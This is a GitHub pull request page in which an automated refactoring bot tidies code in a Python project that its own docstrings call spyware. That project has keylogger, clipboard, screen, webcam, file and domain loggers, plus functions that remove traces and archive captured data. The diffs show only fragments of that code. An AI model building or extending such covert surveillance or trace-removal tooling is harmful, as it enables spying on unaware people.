-
Notifications
You must be signed in to change notification settings - Fork 0
Sourcery refactored main branch #1
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -194,9 +194,8 @@ def create_if_not_exists(filename: str) -> None: | |
| """ | ||
|
|
||
| if not exists(filename): | ||
| file = open(filename, "w") | ||
| file.write("") | ||
| file.close() | ||
| with open(filename, "w") as file: | ||
| file.write("") | ||
|
Comment on lines
-197
to
+198
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Function
|
||
|
|
||
|
|
||
| def main(config_filename: str = None, argv: List[str] = argv) -> int: | ||
|
|
||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -5,6 +5,7 @@ | |
| This package implements a SpyWare to capture the clipboard. | ||
| """ | ||
|
|
||
|
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Lines
|
||
|
|
||
| ################### | ||
| # This package implements a SpyWare to capture the clipboard. | ||
| # Copyright (C) 2021, 2022 Maurice Lambert | ||
|
|
@@ -48,5 +49,5 @@ | |
| except ImportError: | ||
| from ClipboardLogger import main as clipboardSpy | ||
|
|
||
| print(copyright) | ||
| print(__copyright__) | ||
| clipboardSpy() | ||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -227,14 +227,10 @@ def get_data_to_save(self, domains: Set[bytes]) -> None: | |
| data_file.seek(0) | ||
| readline = data_file.readline | ||
|
|
||
| data = readline() | ||
|
|
||
| while data: | ||
| while data := readline(): | ||
| for domain in domains: | ||
| if domain == data: | ||
| domains.remove(domain) | ||
| data = readline() | ||
|
|
||
|
Comment on lines
-230
to
-237
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Function
|
||
| if domains: | ||
| self.data.extend(domains) | ||
|
|
||
|
|
@@ -375,9 +371,8 @@ def create_if_not_exists(filename: str) -> None: | |
| """ | ||
|
|
||
| if not exists(filename): | ||
| file = open(filename, "w") | ||
| file.write("") | ||
| file.close() | ||
| with open(filename, "w") as file: | ||
| file.write("") | ||
|
Comment on lines
-378
to
+375
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Function
|
||
|
|
||
|
|
||
| def main(config_filename: str = None, argv: List[str] = argv) -> int: | ||
|
|
||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -5,6 +5,7 @@ | |
| This file implements a SpyWare for connection destinations. | ||
| """ | ||
|
|
||
|
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Lines
|
||
|
|
||
| ################### | ||
| # This file implements a SpyWare for connection destinations. | ||
| # Copyright (C) 2021, 2022, 2023 Maurice Lambert | ||
|
|
@@ -48,5 +49,5 @@ | |
| except ImportError: | ||
| from DomainsLogger import main as domainsSpy | ||
|
|
||
| print(copyright) | ||
| print(__copyright__) | ||
| domainsSpy() | ||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -242,13 +242,9 @@ def save(self, data: dict) -> int: | |
| data_file.seek(0) | ||
| readline = data_file.readline | ||
|
|
||
| data = readline() | ||
|
|
||
| while data: | ||
| while data := readline(): | ||
| if new_line == data: | ||
| return None | ||
| data = readline() | ||
|
|
||
|
Comment on lines
-245
to
-251
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Function
|
||
| self.data += new_line | ||
|
|
||
| def persistent_save(self) -> None: | ||
|
|
||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -32,6 +32,7 @@ | |
| >>> filesSpy(argv=["FilesLogger.py", "filesSpy.conf"]) # (using argv) | ||
| """ | ||
|
|
||
|
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Lines
|
||
|
|
||
| __version__ = "1.0.0" | ||
| __author__ = "Maurice Lambert" | ||
| __author_email__ = "mauricelambert434@gmail.com" | ||
|
|
@@ -57,5 +58,5 @@ | |
| except ImportError: | ||
| from FilesLogger import main as filesSpy | ||
|
|
||
| print(copyright) | ||
| print(__copyright__) | ||
| filesSpy() | ||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -185,10 +185,7 @@ def get_event_release(self, event: Key) -> None: | |
| if CONFIGURATIONS.event_release: | ||
| self.save(f"RELEASE: {self.get_event_char(event)}\n") | ||
|
|
||
| # code = self.get_code(event) | ||
|
|
||
| is_pressed = self.is_pressed | ||
| if is_pressed: | ||
| if is_pressed := self.is_pressed: | ||
|
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Function
This removes the following comments ( why? ): |
||
| is_pressed.pop() | ||
|
|
||
| return self.run | ||
|
|
||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -23,6 +23,7 @@ | |
| This file implements a keylogger. | ||
| """ | ||
|
|
||
|
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Lines
|
||
|
|
||
| __version__ = "1.0.0" | ||
| __author__ = "Maurice Lambert" | ||
| __author_email__ = "mauricelambert434@gmail.com" | ||
|
|
@@ -48,5 +49,5 @@ | |
| except ImportError: | ||
| from KeyLogger import main as keySpy | ||
|
|
||
| print(copyright) | ||
| print(__copyright__) | ||
| keySpy() | ||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -23,6 +23,7 @@ | |
| This file implements a SpyWare to capture the screen. | ||
| """ | ||
|
|
||
|
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Lines
|
||
|
|
||
| __version__ = "1.0.0" | ||
| __author__ = "Maurice Lambert" | ||
| __author_email__ = "mauricelambert434@gmail.com" | ||
|
|
@@ -48,5 +49,5 @@ | |
| except ImportError: | ||
| from ScreenLogger import main as screenSpy | ||
|
|
||
| print(copyright) | ||
| print(__copyright__) | ||
| screenSpy() | ||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -183,9 +183,7 @@ def spy(modules: Dict[str, str]) -> int: | |
| This function starts spy modules and stop it on KeyboardInterrupt. | ||
| """ | ||
|
|
||
| EXITCODE = 0 | ||
| namespace = globals().copy() | ||
| namespace.update(locals()) | ||
| namespace = globals() | locals() | ||
|
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Function
|
||
| threads = [] | ||
| daemons = [] | ||
|
|
||
|
|
@@ -204,23 +202,19 @@ def spy(modules: Dict[str, str]) -> int: | |
| thread.start() | ||
|
|
||
| thread = Thread(target=daemon.run_AppData) | ||
| thread.daemon = True | ||
| threads.append(thread) | ||
| thread.start() | ||
| else: | ||
| thread = Thread(target=daemon.run_for_ever) | ||
| thread.daemon = True | ||
| threads.append(thread) | ||
| thread.start() | ||
|
|
||
| thread.daemon = True | ||
| threads.append(thread) | ||
| thread.start() | ||
| try: | ||
| join_all(*threads) | ||
| except KeyboardInterrupt: | ||
| stop_deamons(*daemons) | ||
| finally: | ||
| join_all(*threads) | ||
|
|
||
| return EXITCODE | ||
| return 0 | ||
|
|
||
|
|
||
| def env(keyvalue: str) -> None: | ||
|
|
@@ -465,8 +459,7 @@ def remove_trace(modules: Dict[str, str] = modules) -> None: | |
| This function removes trace of SpyWare. | ||
| """ | ||
|
|
||
| namespace = globals().copy() | ||
| namespace.update(locals()) | ||
| namespace = globals() | locals() | ||
|
Comment on lines
-468
to
+462
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Function
|
||
| executable_dir = dirname(argv[0]) | ||
|
|
||
| if glob(join(executable_dir, "*/*.py")): | ||
|
|
@@ -502,9 +495,7 @@ def archive(modules: Dict[str, str] = modules, mode: str = "") -> str: | |
| name = choices(ascii_letters + digits, k=choice(range(1, 15))) | ||
| filename = f"archive_{name}.tar" + f".{mode}" if mode else mode | ||
|
|
||
| namespace = globals().copy() | ||
| namespace.update(locals()) | ||
|
|
||
| namespace = globals() | locals() | ||
|
Comment on lines
-505
to
+498
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Function
|
||
| with tar_open(filename, f"w:{mode}") as file: | ||
|
|
||
| for module in modules: | ||
|
|
@@ -554,11 +545,10 @@ def get_modules(arguments: Namespace) -> Dict[str, str]: | |
| active_modules = {} | ||
|
|
||
| for module, config in modules_config.items(): | ||
| if is_mode_donotrun: | ||
| if config is not None: | ||
| if config is not None: | ||
| if is_mode_donotrun: | ||
| del modules_copy[module] | ||
| else: | ||
| if config is not None: | ||
| else: | ||
|
Comment on lines
-557
to
+551
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Function
|
||
| active_modules[module] = config | ||
|
|
||
| return modules_copy if is_mode_donotrun else active_modules | ||
|
|
@@ -588,15 +578,7 @@ def main() -> int: | |
| elif tar is not None: | ||
| register(archive, active_modules, tar) | ||
|
|
||
| EXITCODE = spy(active_modules) | ||
|
|
||
| # tar = arguments.tar | ||
| # if arguments.remove: | ||
| # remove_trace(active_modules) | ||
| # elif tar is not None: | ||
| # archive(active_modules, tar) | ||
|
|
||
| return EXITCODE | ||
| return spy(active_modules) | ||
|
Comment on lines
-591
to
+581
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Function
This removes the following comments ( why? ): |
||
|
|
||
|
|
||
| if __name__ == "__main__": | ||
|
|
||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -23,6 +23,7 @@ | |
| This file implements a SpyWare to take picture with Webcam. | ||
| """ | ||
|
|
||
|
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Lines
|
||
|
|
||
| __version__ = "1.0.0" | ||
| __author__ = "Maurice Lambert" | ||
| __author_email__ = "mauricelambert434@gmail.com" | ||
|
|
@@ -48,5 +49,5 @@ | |
| except ImportError: | ||
| from WebcamLogger import main as webcamSpy | ||
|
|
||
| print(copyright) | ||
| print(__copyright__) | ||
| webcamSpy() | ||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -23,6 +23,7 @@ | |
| This file implements a complete spyware. | ||
| """ | ||
|
|
||
|
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Lines
|
||
|
|
||
| __version__ = "1.0.4" | ||
| __author__ = "Maurice Lambert" | ||
| __author_email__ = "mauricelambert434@gmail.com" | ||
|
|
@@ -73,4 +74,4 @@ | |
| from . import WebcamLogger | ||
| from .SpyWare import main as spyware | ||
|
|
||
| print(copyright) | ||
| print(__copyright__) | ||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -23,6 +23,7 @@ | |
| This file implements a complete spyware. | ||
| """ | ||
|
|
||
|
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Lines
|
||
|
|
||
| __version__ = "1.0.4" | ||
| __author__ = "Maurice Lambert" | ||
| __author_email__ = "mauricelambert434@gmail.com" | ||
|
|
@@ -43,8 +44,7 @@ | |
| __license__ = license | ||
| __copyright__ = copyright | ||
|
|
||
| print(copyright) | ||
|
|
||
| print(__copyright__) | ||
| try: | ||
| from SpyWare import main | ||
| except ImportError: | ||
|
|
||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Lines
51-51refactored with the following changes:use-assigned-variable)